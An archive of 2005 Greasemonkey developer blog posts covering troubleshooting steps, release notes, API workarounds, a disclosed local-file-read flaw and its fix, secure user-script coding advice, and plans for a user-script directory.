Friday, December 30, 2005

Troubleshooting 0.6.4

I thought it'd be useful to pull together all the issues you might run into with Greasemonkey itself.

We are, of course, trying to make Greasemonkey suck less, but this should help for now. Please be sure to read the error message closely so you can follow the appropriate actions for a workaround. Lots of Firefox errors look pretty similar.

Also, be sure to close Firefox and back up your profile before changing any files in your profile directory. Don't say we didn't warn you. ;)


  • If you see an error including text like this: "(NS_ERROR_FILE_NOT_FOUND) location JS frame :: chrome://greasemonkey/content/utils.js :: getContents ", follow the, uh, following steps. Updated to clarify command-line stuff: These are commands which need to be entered either in a DOS prompt or a terminal. On Windows, you can generally access this with "Start > Run > Cmd" or "Start > Run > command" or "Windows + R > command". (If someone can verify the steps for WinXP, it'd help; I don't have that OS.) On OS X, you can get there with Terminal (Applications > Terminal). On Linux, you should know how to find a terminal. ;) Once at a command prompt (C:\ in Windows, ~/user in OS X), enter the following commands, which just creates a gm_scripts directory and an empty file named config.xml in the appropriate place in your Firefox profile.

    1. cd your profile directory
    2. mkdir gm_scripts
    3. On OS X: touch gm_scripts/config.xml
    4. On Windows: echo "" > gm_scripts\config.xml

  • If you see an error including text like this: "(NS_ERROR_FAILURE) [nsIURI.host]", you're probably installing from a data: URL. If so, follow these steps:

    1. Open the link in your browser.
    2. Save the file locally, naming it [something].user.js.
    3. Open the local file in your browser.
    4. Install from the local file.

  • If you see an error as a result of a Greasemonkey action (such as installing a script) which lists a chrome URL that starts with something other than chrome://greasemonkey (such as chrome://w3rted/content/browser.xul), you probably have a naming conflict. Follow these steps:

    1. Open your profile directory\extensions\Extensions.rdf.
    2. Find the extension is in conflict by searching for the first part of the chrome URL in your error message. In the example above, I'd search for "chrome://w3rted".
    3. Find the name of that extension by looking for the value of <em:name> in the same RDF:Description.
    4. Try moving the conflicting extension below Greasemonkey by using [Tools > Extensions, right-click, Move Down]. Doing this affects the order in which extensions are loaded and sometimes allows Greasemonkey to initialize successfully. Restart Firefox before testing again.
    5. If moving the extension down didn't resolve the issue, and you can live without the other extension, disabling it should work. [Tools > Extensions, right-click, Disable]. ... And restart Firefox again.


If you're getting one of these errors and these steps didn't resolve, let me know in the comments. If you're getting a different error, I need to add it to the list. I hope this helps get you monkeying again.

Sunday, December 04, 2005

Workarounds for missing XMLHttpRequest, DOMParser, and XMLSerializer

Update: Over on the Greasemonkey mailing list, Joe la Poutre notices an even easier workaround. All you have to do is use the older form of the XPCNativeWrapper constructor to access a specific property. I'm not even sure why this works, but it does:

var parser = new XPCNativeWrapper(window, "DOMParser").DOMParser();
alert(parser.parseFromString("", "text/xml"));

Leaving the below, just for posterity...




One bittersweet part about releasing Greasemonkey 0.6.4 was that I needed to remove support for the XML Extras module which contains such goodies as XMLHttpRequest, DOMParser, and XMLSerializer.

I knew that many people were using XMLHttpRequest, particularly since GM_xmlhttpRequest, it's cross-domain replacement evaporated temporarily in 0.3.5, and that this would be a pain point. However, when weighing those people having to change their scripts to use GM_xmlhttpRequest and the alternative of having a confusingly inconsistent security model, I chose the former. I also fixed the major scripts I knew of, such as GMail Conversation Preview, which used XMLHttpRequest.

What I didn't expect at all was that people would miss DOMParser and XMLSerializer. I had no idea any scripts even used these. It's really neat to find people using pieces of your tool which you didn't expect them to, in ways you didn't expect them to. This makes me incredibly happy. Go user scripters! :-)

Anyway, to make a long story short, I've received many questions asking how to work around the lack of these two classes. The good news is that not only is there a workaround, there are three of them!

1. Use unsafeWindow.DOMParser and unsafeWindow.XMLSerializer

The downside here is that, as the name says, unsafeWindow is a reference to the content actual window - the same one that the content's JavaScript uses. Because of that, calling into it can make your script vulnerable to interference by the content script. This can be OK if you trust the site you are scripting somewhat. Take a look at the unsafeWindow details to decide whether you think this is appropriate for your script.

2. Use E4X

In a very zen turn of events it turns out that although Firefox 1.5 denies user scripters the XPCOM-based XML parsing and serializing they were accustomed to, it provides them with a brand-new - arguably superior - interface.

E4X is a brand new native JavaScript XML API that ships with Firefox 1.5 and is available to Greasemonkey scripts. There's not a ton of documentation yet, but from my experience with it so far, it's vastly more elegant and pleasant to work with than the DOM interfaces.

You can get more information about E4X, including the ECMA specification and a handy expression tester, at these URLs:

http://developer.mozilla.org/en/docs/E4X
http://www.ecma-international.org/publications/standards/Ecma-357.htm
http://www.linkwerk.com/pub/javascript/e4x/e4x-tester/

One caveat to keep in mind is that, in accordance with the E4X spec (don't ask me, it's insane), the input XML must not have an XML declaration. So you usually need to use a regex to strip it before parsing. For example:

var xml = new XML(xmlStringWithDecl.replace(/<\?xml.*?\?>/g, ""));


3. Use an IFRAME and let Mozilla do the dirty work

Many have pointed out that Mozilla already ships with an excellent, and very robust XML parser. It also ships with an HTML parser. Why not just leverage those? You can, it just takes a bit of hacking. I put an example of how to use an IFRAME to parse an HTML document into a DOM on my website.

Greasemonkey HTML Parser

Of course, just by changing the content type from text/html to text/xml, you could use the same technique to parse XHTML or even raw XML.


So I hope this shows that although the way to do certain things has changed, no capabilities have been removed from Greasemonkey. In fact new ones have been added, and the addition of completely isolating user scripts from content improved the reliability and security of Greasemonkey quite a lot.

Sorry for the disturbance, you may now resume your madcap exploration and use of Greasemonkey for all manner of things I never expected.

Mozdev back - Greasemonkey page updated

After some downtime due to increased load from the Firefox 1.5 release, mozdev is back. I took the opportunity to update the Greasemonkey homepage and authoring page.

Friday, December 02, 2005

Slides from Nov 8 Emerging Technology SIG

Last month I was asked to give a presentation about Greasemonkey at the Emerging Technology SIG here in Mountain View. I was bored with my old presentation format, so I redesigned it.

View the slides.

And here's the zipped package if you want to use the format for your own presentation.

The old format also had some issues. I found that personally, the more words that were on each slide, the more I was obligated to say on each slide. It made me uncomfortable, knowing that people would see if I didn't say something I had planned to.

My girlfriend, Susan, mentioned that I actually speak about Greasemonkey quite well off the cuff. So I stole an idea from other presentations I've seen and put very few words on each slide. I felt like this gave me more freedom to just talk - expanding on areas people seemed interested in, and skipping areas they didn't.

There is only a very vague structure to this presentation. It's divided into several high-level sections, and each section progresses through a few phases:
  • Question
  • Exploration, broad answers, more questions
  • Restate Question
  • Concise answer
I don't know if this is applicable to other presentations, but it seemed to work for Greasemonkey. Maybe Greasemonkey just has a lot of questions surrounding it :-).

Thursday, December 01, 2005

Broken Scripts Fixed

In abscense of the wiki-like features that Jesse is building into userscripts.org, I am keeping a list of scripts I have fixed for 0.6.4 at http://userscripts.org/fixes. I'll also post a comment on the userscripts.org page for the scripts when I make these changes.

I'll keep the script there until the author updates the original location and pings me. If you're having trouble with a script, send a mail to the mailing list, or leave a comment, and maybe I'll take a look.

Wednesday, November 30, 2005

Greasemonkey 0.6.4

It's been a long road, but a stable, secure, and much improved Greasemonkey is now available for Firefox 1.5.

Install Greasemonkey 0.6.4

This is for Firefox 1.5 only and will not install on previous Firefoxen. If you use a Firefox version prior to 1.5, you should continue using Greasemonkey 0.5.3.

Some of the changes required for security caused minor API changes. If you are a developer and your script breaks in Greasemonkey 0.6.4, consult the wiki for information on how to fix it. Or, as always, ask on the mailing list.


What's new since 0.5.x?

  • Monkey menu: Right-click on the monkey to get quick access to enable or disable the scripts which apply to this page.

  • New install UI: There's a cute new yellow install bar like the one that's displayed for extensions when you load a user script file. When you install, you get a simple animation in the status bar for the loading progress followed by a single dialog when installation is successful.

  • New injection system: We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects.

  • The document.domain bug which was causing scripts to not inject on sites such as myspace.com fixed.

  • New migration system: Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.

  • Fastback support: Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.

  • Remove script prefs when uninstalling the scripts. Sort of; see issues.


Known Issues:
  • When uninstalling scripts, the "also uninstall script preferences" checkbox looks works when "OK" is clicked, rather than when "uninstall" is clicked. In other words, before confirming uninstallation of scripts, make sure the checkbox is selected to also remove the associated prefs. This is needlessly confusing.

Monday, September 12, 2005

Firefox 1.5-compatible Greasemonkey beta now available

I've posted a beta of the next version of Greasemonkey to userscripts.org. You can access it at:

http://userscripts.org/greasemonkey-0.6.2.xpi

This is for Firefox Beta 1.5 only and will not install on other Firefoxes. If you use a version of the browser prior to 1.5, then you should continue using Greasemonkey 0.5.3.

It's a beta, which means that it will likely break some number of your existing, working scripts. Please report these on the mailing list and to the script author. Many breakages will be up to the script author to correct. Typically, the changes required are minor. Authors should consult the Greasemonkey Wiki or mailing list for help.

There is currently no Greasemonkey 0.5.x for Firefox 1.5 beta. It's my hope that user script authors will update their scripts so that such a release is not necessary. So please, bug script authors whose scripts break :-).


What's new?
  • Monkey menu: Click the monkey to get quick access to enabling and disabling each of your scripts. You can also see at a glance which scripts ran on the current page.

  • New install UI: We no longer pop up two modal dialogs everytime you install a script. Instead, a simple animated status message to the left of the monkey tells you everything went OK.

  • New injection system: We now use a much stabler injection system which is only available to Firefox 1.5. This should solve all double-injects or non-injects (except for document.domain issues discussed below).

  • New migration system: Greasemonkey no longer tries to migrate the script folder's location on install, which was causing install headaches for some users. Instead, it uses the old location if a previous version was already installed.

  • Fastback support: Previous Greasemonkeys interfered with Firefox 1.5's awesome Fastback feature. This release does not.

Known Issues:

  • Update: If you install Greasemonkey 0.6.2 without any prior version installed, installing scripts will not work. You'll see a "file not found error. We'll be updating soon to fix this and are sorry for the bug. Meanwhile, the following will fix you up:

    1. cd <your profile directory>

    2. mkdir gm_scripts

    3. Unix: touch gm_scripts/config.xml

    4. Windows: echo "" > gm_scripts\config.xml



  • Greasemonkey 0.6.2 does not inject on websites which use the document.domain javascript property. Notable examples are search.ebay.com and yahoo.com. This is due to a Firefox bug which will be fixed before 1.5 ships.

  • Scripts which use any of the properties of the location object fail with NS_ERROR_INVALID_POINTER. This is due to a Firefox bug which will be fixed before 1.5 ships. As a temporary workaround, script authors may wrap code which accesses the location object with a window.setTimeout call. So for instance, instead of window.location.replace('foo'), use window.setTimeout(function(){ window.location.replace('foo') });.

XPCNativeWrapper reminders:

The window and document properties in Greasemonkey 0.6.x are XPCNativeWrapper objects, which have many annoying limitations as compared to the normal DOM objects. You can keep up with all the details as documented on the Greasemonkey wiki.

Sunday, September 04, 2005

General update

This bug with migration which everyone keeps encountering is really frustrating. It occurs on a large percentage of machines, but not for any of the Greasemonkey developers. For anyone who is still seeing problems where GM appears to not work at all after upgrading to 0.5.x, please see the directions here for a simple fix.

I have created a patch which forgoes automatic migration completely and just warns the user that they need to move the folder by hand, but I'm not sure whether to push it yet. I suppose it depends on how many people who were using 0.3.x have not yet upgraded.

In other news, I've made quite a bit of progress on a new Greasemonkey - 0.6 - which uses a more stable injection technique which should solve a whole other class of problems. It works really well, is super simple, and uses standard APIs. So I don't expect it to have the same inconsistency across machines that the 0.5 series does.

Unless I keep getting a ton of reports about bad migrations, I think I'll just leave 0.5.3 as the last of that branch and focus on 0.6, which will not have auto-migration, and thus cannot have this nasty migration bug.

I guarantee that nobody is more frustrated by these bugs than me. But 0.6 should be a lot better. So just hang on, and we can all forget 0.5 as soon as possible :-).

Saturday, September 03, 2005

0.5.3 available

Though still in the review queue on mozilla update, 0.5.3 is available for download directly from userscripts.org right now.

This update solves the problems with migration from 0.3.5 that some people where having with 0.5.1. It also fixes the "Install User Script" menu item always available bug that pissed a lot of people off.


I'm still working on improving the injection system, which will solve all the random injection problems people are having. This will show up in Greasemonkey 0.6.

0.5.2 late

Somebody discovered a new injection issue (:: sigh ::) in 0.5.2, so I put it off slightly. I'll be rolling back that commit and then reposting it hopefully tonight.

These issues are highly personal, and seem to have to do with network connection, cpu speed, etc. Which is why I'm moving Greasemonkey back to a simpler injection system which should be more fool-proof.

Many people are using 0.5.x without trouble (everyone who tested the alphas on the mailing list, for example). For those of you for whom it isn't, I'm not ignoring you. The next version of Greasemonkey should work much better.

Thursday, September 01, 2005

0.3.5 -> 0.5.1 migration madness

There is a bug in the migration code for Greasemonkey 0.5.1 which is affecting some windows users. 0.5.2 fixes this issue, and has been circulated through the mailing list and is looking good, but I won't be able to post it until tonight.

If you want to fix your 0.5.1, I don't think it's a good idea to edit the profile files directly unless you really know what you're doing. Instead, these steps should fix most people's corruption.
  • Shut down Firefox.
  • Find your profile directory
  • Move profileDir/extensions/{e4a8a97b-f2ed-450b-b12d-ee082ba24781}/chrome/
    greasemonkey/content/scripts/ to profileDir/scripts.
  • Remove profileDir/gm_scripts if it exists
  • Rename profileDir/scripts to profileDir/gm_scripts
  • Restart Firefox

Thursday, August 25, 2005

Greasemonkey 0.5.1 Final

Huzzah!

Greasemonkey 0.5.1 Final is available for download.

Special thanks to "t" for reporting a user script escalation issue in the previous beta which has now been fixed.

Other changes:
  • Bug 10107 - Allow users to select a script editor. This also allows script editing to work for *nix users.
  • Bug 11214 - Clicking "Edit" in Manager loses enable/disable changes
  • Bug 11224 - Grease monkey doesn't accept non english characters!
  • Bug 11236 - The install context menu won't show if there's a node under the A element

Sunday, August 21, 2005

Gmail Preview

Mihai rocking with another great Greasemonkey script for Gmail. This one adds full preview to your inbox items. Very smooth, a definite install.

Saturday, August 06, 2005

Aaron's OSCON 2005 slides

Some people who were at OSCON and saw my presentation asked if they would be able to get the slides online.

I've posted them to my website
. You can also download them.

OSCON was a lot of fun. Here's what I've been able to learn about Portland:
  • People: very friendly
  • summer weather: great
  • public transport: efficient and clean
  • food: superb
  • Montage: recommended
  • Burnside skaters: insane
  • Nightlife: very amusing
  • Books: available
So in general, utopia. A fine place for a nerd conference.

Tuesday, August 02, 2005

Mozdev down

It would appear that mozdev.org - which generously hosts Greasemonkey's website - is down today.

Luckily, the Greasemonkey installer is not actually hosted on mozdev. So you can still install Greasemonkey by going directly there.

Saturday, July 30, 2005

Greasemonkey 0.5 Beta

All of us here in Greasemonkeyland are extremely happy to announce that Greasemonkey 0.5 beta is now available for download. Horray!

It should go without saying, but: this is beta software. There will definitely be bugs. Install at your own risk.


Security

The major news with this release is, of course, security. Greasemonkey 0.5 is much more secure than 0.3.5. Several important classes of attacks have been completely disabled and others have been made more difficult, particularly in Deer Park.
  • In Greasemonkey 0.3.4, it was possible for JavaScript on webpages you visited ("content") to use DOM mutation events, watchpoints, or Mozilla's proprietary __defineSetter__ method to get references to the special GM API functions. This has been fixed by moving user script execution away from content completely. Now, user scripts are executed in a separate object -- a "sandbox" -- which is not part of the content window. That means that content scripts cannot acccess it, and thus, cannot employ any of the tricks above to get access to the special GM APIs.

  • In earlier versions, it was possible to block Greasemonkey itself by redefining certain content DOM methods that it used to inject scripts. This has been fixed in 0.5 by only ever accessing content via the special XPCNativeWrapper objects provided by Firefox for this purpose.

  • It has long been understood and accepted that it would be possible to block individual user scripts by looking at which core DOM methods they try to use and redefining those. This will be a lot more difficult to do in Greasemonkey 0.5 when it is running on Deer Park. On Deer Park, the window and document global variables for Greasemonkey user scripts are also XPCNativeWrappers.
  • It was recently discovered that GM_xmlhttpRequest was able to access the file:// protocol and read local files. This has been fixed.

  • In all previous versions of Greasemonkey, it was trivial for content to monitor what user scripts you ran and get the source code for them. Running Deer Park and Greasemonkey 0.5, it's significantly less likely. It's still not impossible, however, so please continue to not put passwords in Greasemonkey user scripts.
Of course, no software is ever perfectly secure. Greasemonkey's entire point of existence is to mash code from two different trust domains into the same space, so it has been particularly tricky. This will be an ongoing fight. But for now, I believe that there are no known major security issues with Greasemonkey 0.5 and that it is safe to use. I also think that any future fixes will be much easier to make.


Features

Since Greasemonkey 0.5 is actually the combination of a massive security audit and all the new code which was planned for 0.4, there are lots of new features too:
  • GM_registerMenuCommand (documentation forthcoming) now takes extra parameters to add keyboard shortcuts.

  • GM_registerMenuCommand no longer gets confused sometimes when switching tabs.

  • Greasemonkey's previous memory leakage problems have been addressed.

  • A new API, GM_openInTab has been added. You can now use a Greasemonkey user script to open a URL in a new Firefox tab.

  • A new menu item has been added: New User Script, which you can use to start a new script. It adds all the boilerplate text to the file so you can get started typing right away.


For User Script Authors

For the most part, Greasemonkey 0.5 should be perfectly backward compatible with your existing user scripts in Firefox 1.0.x. In some cases, however, it can bite you when it didn't before. Generally speaking:
  • Never add properties or functions to window. It's not safe because content can redefine these functions to mean something other than what you wrote.

    For example, you should never write code like this:
    window.handleClick = function() {
    alert("something was clicked!");
    }
    button.setAttribute("click", "window.handleClick()");

    Instead, do it this way:
    function handleClick() {
    alert("something was clicked!");
    }
    button.addEventListener("click", handleClick, false);

  • When you want to manipulate the DOM, always fully-qualify your expressions with window or document. So if you want to call alert on the current window, say window.alert instead of just alert. By doing this, you are sure to get the real alert method instead of a new one that content has used to overwrite the real one.

    In a future version of Greasemonkey, the ability to call methods and properties of window without this qualification will probably go away, so best to get in the habit now.

  • Keep up with the current Deer Park best practices on the Greasemonkey wiki.

  • Test in Deer Park if possible. Everything that works in Deer Park will definitely work in FF 1.0.x, but the reverse is not true. So it's best to test or develop your scripts in Deer Park for maximum compatibility.

So that's it. If you have any other questions, the Greasemonkey mailing list is, as always, the place to ask them.

Happy scripting!

Wednesday, July 27, 2005

Funny Greasemonkey quotes #17 (of a seemingly infinite series)

... [to win at the internet now], you have to make your site easily hooked into by Greasemonkey. It’s like an arms escalation race, only with hugs and easy-to-use web applications.

-- Patrick Gaskill

Greasemonkey hole proves Firefox is insecure? Not so much.

This meme has been bouncing over the net for the last few days. From Jon Udell's provocatively titled post Greasemonkey in Crisis:
"As the dust began to settle, a debate began, refracted through the lens of ideology. This time there was no Microsoft (Profile, Products, Articles) to blame. The open source underdogs had done this to themselves. And while some would argue it wasn't Firefox's fault -- since Greasemonkey is a user-installed extension -- Firefox took its share of the blame, just as Internet Explorer does when its add-ins cause trouble."
I'd just like to clarify that I don't think this proves anything about Firefox's security. Firefox - just like other browsers - has a extension system that allows users to install and run separately-developed programs within the security context of the browser, after an explicit confirmation and approval process.

The fact that such an extension has a flaw should not reflect on Firefox. The flawed code was developed separately from Firefox. It's completely different than if, for example, the browser itself had a problem which could allow an extension to be installed silently, without any user approval.

Continuing from the article:
Some say that open source software is inherently secure because the “open source process” makes it so. Wrong. Open source software, and the collaborative culture that surrounds it, have surely enhanced Firefox’s security. But also necessary is a disciplined approach to reducing the attack surface area.
I'd like to point out that Greasemonkey was the first Firefox extension I had ever written. It got very popular very quickly. The fact that it had a hole only proves that someone new to a platform can create software with holes. This shouldn't come as a surprise to anyone.

Greasemonkey 0.4.x, on the other hand, has had the benefit of much more experience on the part of it's developers. Since it is open, it has also been able to benefit from the review and advice of a community of even more senior developers. If bugs are discovered in it, they will be discussed, fixed, and scrutinizeded openly. And Greasemonkey will again be able to benefit from the advice and review of this broad community.

I think that's the main point that Open Source advocates try to make.

Tuesday, July 19, 2005

Mandatory Greasemonkey Update

Yesterday, Mark Pilgrim discovered and announced a very serious security vulnerability in Greasemonkey. The flaw allows any website which matches at least one user script (even * scripts) to read any local file on your machine, or to list the contents of local directories. The flaw applies to Greasemonkey on all platforms.

I'm working feverishly on a fix for this. But this will take several days. In the meantime, I strongly recommend that everyone either install Greasemonkey 0.3.5, or else disable or uninstall Greasemonkey completely.

Greasemonkey 0.3.5 is a "neutered" version of Greasemonkey, lacking any of the GM* APIs which make Greasemonkey scripts more powerful than regular HTML. This means that scripts which depend on GM* APIs will fail with Greasemonkey 0.3.5.

I have heard no reports of this flaw being exploited, but now that it's public knowledge it isn't safe to continue using any version of Greasemonkey other than 0.3.5. Please either upgrade to 0.3.5 or disable Greasemonkey until I can get a fix finished.

I'm aware of how badly this sucks for many of you. Please accept my deepest personal apologies and realize that I'll do my best to get a fixed Greasemonkey available just as soon as possible.

If you have any other questions, the Greasemonkey mailing list is a good place to ask them.

Monday, July 18, 2005

Please do not put private keys in user scripts (yet)

Joe Gregorio wrote a really interesting piece on XML.com about sending encrypted data over insecure networks, using Greasemonkey to decrypt it on the client.

In his demo, Joe lists his private key in the user script source.

Please do not put private information into user script source code, yet
.

As a side-effect of the way that we are currently injecting user scripts, it's possible for malicious sites to sniff their contents. So, for example, if Bloglines got hacked, or somebody exploited a XSS vulnerability to get Bloglines to include their JavaScript in a feed, then Joe's private key could get stolen.

We're thinking about ways to run user scripts completely separate from the DOM, which would prevent this sniffing from being possible, but it doesn't exist yet. I'll post again here when that happens.

===

If you are an XPCOM/Mozilla/JavaScript expert, Greasemonkey needs you. We are looking for a way to execute JavaScript programatically with these restrictions:
  1. browser content window is the global object
  2. script runs in same security context as browser content is currently running in
  3. we have the ability to add other global objects of our choosing
I've looked into mozIJSSubScriptLoader, but it does not seem to solve any of these well or 2) at all. Post in the comments or on the Greasemonkey mailing list if you have a solution.

Monday, June 27, 2005

Will there ever be another Greasemonkey version?

Short answer: yes

Slightly longer answer: sometime soon. Jeremy and I have been working on a refactor of Greasemonkey that we hope will make it easier to maintain and to add features to.

This was mostly my idea, Jeremy just wanted to get the next version out. So blame me, I am weak :-). I just got tired of looking at the really, really bad "my-first-extension" Greasemonkey codebase.

What you'll get out of the deal:
  • A "new" button in the manage UI
  • Compatibility with latest Deer Park builds
  • Compatibility with Seamonkey
  • Compatibility with Menu Editor (but not Compact Menu probably)
  • Less of a chance of being detected or stopped by page authors
  • Minor UI improvements, such as being able to press Enter/Esc in the various dialogs
  • Easier development of future features
  • No more memory leaks
  • Accelerator keys for menu commands
This one bit is actually the difficult point. There is this known bug in XUL where event handlers for menu items are lost when the nodes they are attached to are removed from the DOM. To get around this, we previously wrote the feature to rebuild the User script commands menu item whenever the Tools menu was activated.

However, since registered menu items' commands need to be active immediately and cannot wait for the Tools menu to be shown, this approach will no longer work. The only solution we have been able to come up with so far seems to crash Firefox for unknown reasons.

We'll work on this a little longer, but if no solution presents itself, we may need to ditch accelerator keys temporarily until we understand better what is causing this problem. We'll work on it for another week at the most.

But hey! Userscript.org is very close to being real! That's cool, right? We have hosting with TextDrive all set up and we just need to put the code up there and turn it on and we'll be ready to roll. W00t!

Very sorry for the delay on the next version. Hang in there, monkeyers.

Monday, June 13, 2005

Shwag

Gitcher smoove Greasemonkey t-shirt heeya! Courtesy of Mr. Platypus.

A release is coming soon. No, really.

Friday, May 20, 2005

Greasemonkey on addons.mozilla.org

We've added Greasemonkey to addons.mozilla.org and are now directing all downloads to go through there. This probably means nothing to you, except that:

a) We should be able to roll out new releases of GM much faster now
b) There's a cool little download counter

Wednesday, May 18, 2005

More obvious user script alterations?

Rael made a pretty high-profile mistake in posting that Google had added delicious tags to its results page. It turns out that these tags were supplied by the Annotate Google user script, which he'd installed and forgotten.

He raises the point that the user-writable web is likely to raise more such issues:

While I'm as much a fan of the writeable and rewriteable Web as anyone..., is
that cute little Greasemonkey in the bottom-right corner of my browser
notification enough? (Apparently not.)

Point taken. But is this something that should be solved by more obvious changes, or by more awareness of the augmented web? I don't expect my email client to show the same contacts as Rael's. Why should I expect my search results to be the same as Rael's?

OK, it's a stretch, but maybe we can agree that if the augmented web continues to become more popular, this becomes a non-issue.

If we can't agree on that, how could the augmentations be made more obvious? Mouseover'd aura element borders? A monkey icon that smiles more largely when scripts have been injected? A siren that sounds when you've forgotten, again, that this page is augmented?

That last one may be a bit annoying.

Suggestions? Comments welcome, or send 'em to the list.

Monday, May 16, 2005

Slashdot (ouch)

Apologies for the downtime and slow responses experienced on the script directory and home page. DiG warranted a Slashdot post, and we're all hurting. Except for DiG. Mark was prepared, of course.

Anyway, uh, this is temporary. Probably. ;)

Sunday, May 15, 2005

0.3.3 (not beta)

Seems stable enough, so let's call it that. Booya.

Tuesday, May 10, 2005

Greasemonkey 0.3.3 (beta)

No big changes over 0.3b. The main news is that it should work for the latest aviary (soon to be 1.0.4). Still working on latest trunk fix. Sowwy.

Details here.

Since mozdev takes a while to propogate mirrors, you can also try getting it here.

Dive into Greasemonkey

If you're interested in Greasemonkey, you'll be interested in this: Dive into Greasemonkey, another fine publication by Mark Pilgrim, whose enthusiasm Greasemonkey has benefitted from greatly.

Dive into Greasemonkey is
  • Patterns
  • Case studies
  • API reference
  • Screencasts
  • GPL-licensed
It's also excellent, and includes the latest features. If you'd like to know something about coding for Greasemonkey it's there. If you'd like to evangelize Greasemonkey to someone else, it's there. If you'd like to learn how to use Greasemonkey, it's there.

Fully buzzword compliant, just the right length.

Sunday, April 24, 2005

Book Burro

Book Burro is wonderfully done work. Not only does it work well, but it's actually very visually pleasing (to my eyes, anyway). The only thing I find myself wanting is the ability to drag it around, but that's pretty minor.

Wiki Footer Fixer

Funny: Carlo Zottman, author of many user scripts indeed has added to the wiki what may be his best work yet: a greasemonkey script that modifies the greasemonkey wiki.

Saturday, April 23, 2005

Greasemonkey 0.3b Beta

Update: The XPI I posted was a) corrupted and b) not able to be served from youngpup.net (the classic XPI/mimetype issue). Sorry about the false start. Reposting now to mozdev.org. Will update again here when it is available.




If you like living on the edge, you may want to try out Greasemonkey 0.3b Beta.

The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.

If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the FAQ for details on where to find it.

As always, please report your bugs here, or on the mailing list.

Monday, April 11, 2005

Miscellaneous

Raddest user script yet: Lickr.

Jon Udell uses Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.

More interestingly, he laments:

"there are two aspects of [writing greasemonkey scripts] that feel antiquated. One is groveling around inside Web pages -- in this case, the Bloglines and del.icio.us citation pages -- using regular expressions. The other is groveling around inside the DOM (document object model) of the page into which you're inserting instrumentation."

I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is HTML overlays.

Were there no legacy concerns, the syntax might ideally look something like this:

<overlay insertbefore="/foo/bar[@monkey]">
<div>
... your html, css, javascript here ...
</div>
</overlay>

<overlay replace="//a">
... do something to all hyperlinks here ...
</overlay>

Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.

Of course, there's nothing stopping you from doing this:

<overlay insertafter="/html/body">
<script language="javascript">
regular GM type code here...
</script>
</overlay>

... which just shows that this would essentially be a superset of current GM functionality.

What do people think of this? I see several problems, myself:

a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.

b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.

c) Somebody will undoubtebly say that I'm overthinking things.

Friday, April 08, 2005

Userscript.org

I posted something very like this to the mailing list, but I wanted it to get out to more people for consideration.

So far, Greasemonkey has gotten by with a wiki page, but it's quickly outgrowing that.

So I'm starting to work on a new user script directory, which will live over on userscript.org.

I'm interested in input on how I'm planning to do this (or if someone would like to help). If you think I'm doing something wrong, please convince me.

To set the stage, here are the goals I'm attempting to address:

  1. Provide versioning and update notification.

  2. Improve ability to judge trustworthiness of scripts

  3. Provide an easy way to find user scripts.

  4. Encourage sharing of scripts.

  5. Provide a home for the idea of user scripts, including other browsers.


That's all fairly ambitious, so I'll be reluctant to take on new goals.

In order to serve goals 1-4, the directory will need to discover scripts, and regular spidering won't be very useful, I think, because there are relatively few user scripts, and I'm not sure how to go about finding good sources of scripts.

(Well, there are obvious things like checking domains you've found them on before, and taking outbound links from those sites if url like *user.js, but even so...)

I think using delicious for discovery is a pretty easy win, because people will tag for Greasemonkey if it's useful, and delicious is useful as a directory to start with, and we can seed the tagging with quite a number of scripts already.

Of course the directory will allow form-post submission of a URL to a script so that authors can have a more direct way of discovery.

So assume we've got a directory and it has lots of scripts and no trouble finding more.

I plan on managing versioning as follows: once a script has been discovered, it will be hashed, and this hash will be the basis for differentiating the originally retrieved script from any later version. Scripts in the directory will be periodically retrieved, and changes in hashes will create new versions in the directory.

Why take this route over allowing (read: requiring) authors to explicitly version?

1) Because this versioning is meant to allow not just for update notification, but also for assignment of trust. A popular script that has not changed in a month is very likely trustworthy, but once a new version is published, all bets are off. If the author controlled the versioning as well as the script, there'd be no basis for trust.

2) Because authors won't consistently version their own scripts. User script authoring is meant to be relatively fluid and lightweight, and making backups and renaming and re-versioning is a bunch of overhead when the author just wants to spend a couple seconds fixing a bug.

So assume we have a directory with scripts and versioning. With this, we can provide update notification. Syndication seems the obvious choice; it's lightweight, and people interested in Greasemonkey are very likely to use it. I suppose we could also do email notification, but, well, I don't know much about administering a mail server or mailing list software.

So the user's been notified that there is a new script he may be interested in. How does she know whether its OK to install? There've been suggestions that sand boxing user scripts would be good, and breathless descriptions of how this is the end of e-commerce (OK, that's a small hyperbole).

(Thanks to Adrian Holovaty for pointing out that Craigslist has this problem and has proven that a community review process is all you really need to keep bad things from happening.)

I think generally people will be interested in controlling this problem, and keeping stuff completely safe is sort of an impossible goal. All you can hope for is to keep things from going off the rails and exposing lots of people to rude things. We'll have people using these scripts, and some of them will peek under the hood, and some of -them- will notice that the script is doing rude things. These people should be able to flag scripts as evil, and a trusted group (perhaps recruited on the basis of correct flagging) will review a queue of flagged scripts. Anything sufficiently flagged (what's sufficient? I dunno) will be unavailable in the directory until it's reviewed. Anything that's been reviewed and has the Good Webkeeping seal of approval will be exempt from flagging (or have a higher threshold, or something complicated). Things reviewed and found to be evil will be banished from the directory, along with the IP subnet and country of author. OK, maybe just the script.

Along the same lines, I'd like to have a flag that says "doesn't work", and eventually, I'd like this to be integrated in GM's client so that when people say something doesn't work, we can have a list of injected scripts for clues as to script compatibility problems (because that really is a problem, and it's only going to get worse).

Further along trust lines, there's also the idea that a script that's been out unchanged a while and followed out and unflagged is probably a good and Good script, so those scripts might get some bonus in ranking. Which leads us into actually finding the script you're looking for.

